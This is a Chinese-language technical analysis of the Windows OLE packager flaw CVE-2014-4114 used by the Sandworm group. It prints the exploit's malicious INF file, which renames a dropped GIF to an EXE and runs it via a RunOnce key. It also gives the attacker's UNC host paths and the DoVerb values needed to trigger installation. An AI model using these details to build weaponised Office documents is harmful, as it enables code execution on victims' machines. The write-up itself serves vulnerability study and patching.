漏洞简介

微软于 2014 年 10 月 14 日，发布了 CVE-2014-4114 漏洞（Windows OLE 远程代码执行漏洞）的重要安全公告 MS14-060[1]，该漏洞由国外安全机构 iSIGHT[2]秘密上报到微软，号称一个叫 SandWorm（“沙虫”）的俄罗斯黑客组织曾经使用该 0day 漏洞，以 APT 方式攻击了北约、乌克兰等目标。 根据微软的安全公告，此漏洞影响 Windows Vista SP2 到 Win8.1 的所有系统，还包括 Windows Server 2008 到 Windows Server 2012 的服务器操作系统，可以看出影响面非常之大。

我们认为该漏洞的根本原因在于 —— PACKAGER.DLL 模块在处理 OLE 对象时，允许执行 OLE 对象右键菜单中的操作。从捕获到的样本来看，首先是一个 ppsx 文件（幻灯片放映文件），其中嵌入了两个 OLE 对象（通过远程路径方式嵌入），一个是 inf 文件，一个是 gif 文件（其实是一个 EXE 文件，后缀改成了 gif 以便伪装），打开该文档后，会在临时目录（%TEMP%）中落地这 2 个文件，该样本正是利用了“允许执行右键菜单中操作”的漏洞，通过 inf 右键中“安装”菜单项完成了恶意程序的执行。因此如果用户打开包含特制 OLE 对象的 Microsoft Office 文件，则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录，则攻击者可随后安装程序，查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。

漏洞分析

当拿到原始样本 ppsx 文件（MD5：330e8d23ab82e8a0ca6d166755408eb1）后，以 PowerPoint 的编辑模式打开该样本，并没有发现有什么非常特别之处，看上去和普通的 ppt 没有任何区别，仔细观察后发现在幻灯片的第 1 页中，页面上方嵌入了两个非常隐蔽的对象（被放在上方放映时不可见区域，且很小），而且这两个对象加入了 3 个动画动作，如下图所示：

为了清晰看到嵌入的这两个对象的属性，我们将该 ppsx 文件改名为 zip 文件，并解压出来如下：

代码:

```
330E8D23AB82E8A0CA6D166755408EB1.ppsx.zip
|     [Content_Types].xml
|
├──docProps
|             app.xml
|             core.xml
|             thumbnail.jpeg
|
├──ppt
|     |     presentation.xml
|     |     presProps.xml
|     |     tableStyles.xml
```

```
|       |     viewProps.xml
|       |
|       ├──drawings
|       |       |     vmlDrawing1.vml
|       |       |
|       |       └──_rels
|       |                       vmlDrawing1.vml.rels
|       |
|       ├──embeddings
|       |             oleObject1.bin        嵌入的对象 1，UNC 地址：
\\94.185.85.122\public\slide1.gif
|       |             oleObject2.bin        嵌入的对象 2，UNC 地址：
\\94.185.85.122\public\slides.inf
|       |
|       ├──media
|       |             image1.wmf
|       |             image2.wmf
|       |             image3.gif
|       |
|       ├──slideLayouts
|       |       |     slideLayout1.xml
|       |       |     slideLayout10.xml
|       |       |     slideLayout11.xml
|       |       |     slideLayout2.xml
|       |       |     slideLayout3.xml
|       |       |     slideLayout4.xml
|       |       |     slideLayout5.xml
|       |       |     slideLayout6.xml
|       |       |     slideLayout7.xml
|       |       |     slideLayout8.xml
|       |       |     slideLayout9.xml
|       |       |
|       |       └──_rels
|       |                       slideLayout1.xml.rels
|       |                       slideLayout10.xml.rels
|       |                       slideLayout11.xml.rels
|       |                       slideLayout2.xml.rels
|       |                       slideLayout3.xml.rels
|       |                       slideLayout4.xml.rels
|       |                       slideLayout5.xml.rels
|       |                       slideLayout6.xml.rels
|       |                       slideLayout7.xml.rels
|       |                       slideLayout8.xml.rels
|       |                       slideLayout9.xml.rels
```

```
|      |
|      ├──slideMasters
|      |      |     slideMaster1.xml
|      |      |
|      |      └──_rels
|      |                      slideMaster1.xml.rels
|      |
|      ├──slides
|      |      |     slide1.xml        关键文件：其中包含了第 1 页幻灯片的播放动画等信息。
|      |      |     slide2.xml
|      |      |     slide3.xml
|      |      |     slide4.xml
|      |      |
|      |      └──_rels
|      |                      slide1.xml.rels
|      |                      slide2.xml.rels
|      |                      slide3.xml.rels
|      |                      slide4.xml.rels
|      |
|      ├──theme
|      |             theme1.xml
|      |             themeOverride1.xml
|      |             themeOverride2.xml
|      |             themeOverride3.xml
|      |
|      └──_rels
|                      presentation.xml.rels
|
└──_rels
               .rels
```

如上图，其中 ppt\ embeddings\oleObject1.bin OLE 对象中指定了一个 UNC（Universal Naming Convention）路径 \\94.185.85.122\public\slide1.gif，而 ppt\ embeddings\oleObject2.bin OLE 对象中指定了另一个 UNC 路径 \\94.185.85.122\public\slides.inf，当 ppsx 播放时这两个文件会被自动下载到临时目录 %TEMP% 下。

另外还有一个文件非常关键，直接导致漏洞利用成功，即 ppt\slides\slide1.xml 文件，该文件包含了第 1 页幻灯片（也就是包含了上面 2 个 OLE 对象的页面）的播放动画等信息。实际上，手动构造一个包含以上 2 个 OLE 对象和 3 个动画的 ppsx 并不难，但是构造出来的样本，其中的 inf 文件怎么也得不到执行安装，非常苦恼，最后通过构造样本和原始样本解压后每个文件的对比发现了不同之处，如下图所示：

从上面原始样本和构造样本中 slide1.xml 的对比发现，原始样本对两个 OLE 对象额外添加了 2 个 verb 动作，其中对 gif 对象执行的 verb 动作 cmd 为-3，而对 inf 对象执行的 verb 动作 cmd 为 3。为了理解这两个额外动作的含义，需要充分查阅一下 windows 的 MSDN 文档，以及相关模块的 IDA 反汇编代码。

Office 最著名的功能是 OLE（对象连接嵌入），ActiveX 容器（PowerPoint 就是一个容器）可以通过嵌入一个外部 ActiveX 对象，来丰富容器的功能。ActiveX 机制最著名的一个功能是 DoVerb，容器可以通过 DoVerb 接口要求 ActiveX 对象执行一定的动作，比如激活、隐藏等。DoVerb 的接口原型类似于 Object.DoVerb(VerbValue)， 一些 WellKnown 的 VerbValue 如下表[3]。

代码:

```
VerbValue    Action
0    The default action for the object.
-
1    Activates the object for editing. If the application tha
t created the object supports in-
place activation, the object is activated within the OLE con
tainer control.
-
2    Opens the object in a separate application window. If t
he application that created the object supports in-
place activation, the object is activated in its own window.
-
3    For embedded objects, hides the application that created
  the object.
-4    If the object supports in-
place activation, activates the object for in-
place activation and shows any user interface tools. If the
  object doesn't support in-
place activation, the object doesn't activate, and an error
occurs.
-
5    If the user moves the focus to the OLE container contr
ol, creates a window for the object and prepares the object
```

```
  to be edited. An error occurs if the object doesn't suppo
rt activation on a single mouse click.
-
6    Used when the object is activated for editing to discar
d all record of changes that the object's application can u
ndo.
```

Office 为了通用性，当嵌入非 ActiveX 对象时，嵌入的数据由内置的 Package 包装并展现为 ActiveX 对象。内置的 Package 对象由%system32%\packager.dll 实现，使用 IDA 分析，得到伪代码如下：

代码:

```
__int32  __stdcallCPackage::DoVerb(CPackage  *this,  signed  intnVerb
…)
{
        nTrueVerb  =  nVerb;
if  (  nVerb<  -2  )    //-3 直接返回
returnE_NOTIMPL;
if  (  nVerb  ==  -1  )    //利用向导，执行编辑命令
{
LABEL_EDIT:
…
                PackWiz_CreateWizard(v14,  (struct  _packageInfo  *)&
v18);
                CPackage::InitFromPackInfo((CPackage*)((char*)this-
8),  (struct  _packageInfo*)&v18);
                …
returnCPackage::_ExecuteAttachment(  (CPackage  *)((char  *)this  -
8),v9,a3,
                          (structIOleClientSite  *)hmenu,a5,a6,(const
structtagRECT  *)v15);
}
if  (  nVerb  ==  2  )    //特殊的 Verb，重新获取真实 Verb
                nTrueVerb  =  *((_DWORD  *)this  +  35);
if  (  nTrueVerb  ==  -1  ||  nTrueVerb  ==  -2  )
gotoLABEL_EDIT;
if  (  nTrueVerb  ==  1  )    //编辑对象的显示名字
returnCPackage::_ChangePackageLabel((CPackage  *)((char  *)this  -  8
),  a6);
if  (  !nTrueVerb  )    //默认的动作，即执行 Shell 右键菜单中的默认命
令
                returnCPackage::_ExecuteAttachment(  (CPackage  *)((c
har  *)this  -  8),v9,a3,  (structIOleClientSite  *)hmenu,a5,a6,(cons
tstructtagRECT  *)v15);

CPackage::GetContextMenu((char  *)this  -  8,  &v15);
```

```
hmenu = CreatePopupMenu();
//获取 Shell 右键菜单中第 nTrueVerb-2 个位置说对应的命令
        GetMenuItemInfoW(hmenu, nTrueVerb - 2, 1, &mii) ;
        if ( *((_DWORD *)this + 12) == 3 )
v17 = CPackage::CreateTempFile((CPackage *)v14, 0);
if ( v17 >= 0 )
{
        //调用 IContextMenu::InvokeCommand 方法，执行第 nVerb -2 位置
的命令。当输入 3 时，执行右键菜单中的第 2 项（对于 inf 文件来说正好是
“安装”）
v13.lpVerb = (LPCSTR)(mii.wID - 2);
v13.cbSize = 36;
v13.fMask = 0;
v13.hwnd = 0;
v13.lpParameters = 0;
v13.lpDirectory = 0;
  v13.nShow = SW_SHOWNORMAL;
v17=(*(int(__stdcall**)(structIContextMenu*, CMINVOKECOMMANDINFO *)
)((int (__stdcall **)(_DWORD, _DWORD))v15->lpVtbl+ 4))( v15, &v
13);
  }
        DestroyMenu(hmenu);
        …
return v17
}
```

从上面代码可以看出，第 1 个 OLE 对象（slide1.gif）执行动画时，nVerb 是-3，在上面的 DoVerb 处理函数中什么也不做，直接返回，那黑客为什么要做这样一个无意义的操作呢，其实是为了使 Office 下载该 gif 文件到%temp%目录下。而第 2 个 OLE 对象（slides.inf）执行动画时，nVerb 是 3，在上面的 DoVerb 处理函数中会找到右键菜单中的第 2 项（3-2=1，0 表示菜单第 1 项，1 表示菜单第 2 项），也就是“安装”这个菜单项，如下图所示。

接下来，需要看看这个在临时目录下落地后的 slides.inf，到底执行了什么操作，打开 slides.inf 文件如下：

代码:

```
;  61883.INF
;  Copyright  (c)  Microsoft  Corporation.    All  rights  reserved.

[Version]
Signature  =  "$CHICAGO$"
Class=61883
```

```
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}      #这里是伪装成了
61883 设备的驱动程序
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

[DestinationDirs]
DefaultDestDir  =  1

[DefaultInstall]
RenFiles  =  RxRename
AddReg  =  RxStart

[RxRename]
slide1.gif.exe,  slide1.gif        #把%TEMP%目录下先落地的 slide1.gif 文
件改名为 slide1.gif.exe,
                                                #以便后面执行，并写入注册
表启动项
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\s
lide1.gif.exe        #写入自启动项，并执行
```

INF 的安装过程中，如下：

1. 把 slide1.gif 重命名成 slide1.gif.exe
2. 写注册表项 RunOnce，开启启动一次 slide1.gif.exe
3. Inf 有个特殊之处在于，会立即模拟 OS 执行一次 RunOnce，此时 slide1.gif.exe 就会得到执行

至此，该**漏洞**的原理和成因，已经**分析**完毕，需要重点思考的还是该**漏洞**的根本原因到底是什么，为什么一个 ppsx 打开后能够执行任意程序。事实上，我们认为，原始样本中利用 inf 来启动恶意程序只是利用此**漏洞**的一种方法，如果不使用 inf 文件，同样也是可以达到执行 PE 程序的目的。那么造成该**漏洞**的根本原因应该是 —— 嵌入的 OLE 对象使用了 DoVerb 接口提供的功能，在%system32%\packager.dll 的 CPackage::DoVerb 处理中，允许该对象执行右键菜单中的操作，而菜单中的操作很多都能够直接把落地的文件安装执行起来。

漏洞利用

该**漏洞**至少存在以下三种利用方式：

1. 黑客可以构造嵌入 OLE 对象的恶意 Office 文件（例如 **word**、ppt、excel 等），以社工方式诱使用户打开该文档，执行任意程序；
2. 或者用户访问了嵌入该恶意 Office 文件的网站时，当本地的浏览器使用 Office 组件打开了此文档，也可以引发恶意程序的执行；
3. 或者用户使用 Outlook 浏览了嵌入该恶意 Office 文件的邮件，也可以引发恶意程序执行；

漏洞修补

请参考微软最新的**漏洞**公告 https://technet.microsoft.com/library/security/ms14-060，安装最新的补丁。

参考链接

1. 《Microsoft 安全公告 MS14-060 - 重要》 https://technet.microsoft.com/library/security/ms14-060
2. 《iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign》 http://www.isightpartners.com/2014/10/cve-2014-4114/
3. 《DoVerb Method》 http://msdn.microsoft.com/en-US/library/z326sbae(v=vs.80).aspx
4. 《瀚海源**分析**报告：SANDWORM APT Windows OLE PACKAGE 0day 来袭》 http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/
5. VirusTotal https://www.virustotal.com/en/file/70b8d220469c8071029795d32ea91829f683e3fbbaa8b978a31a0974daee8aaf/analysis/*转载请注明来自看雪论坛@PEdiy.com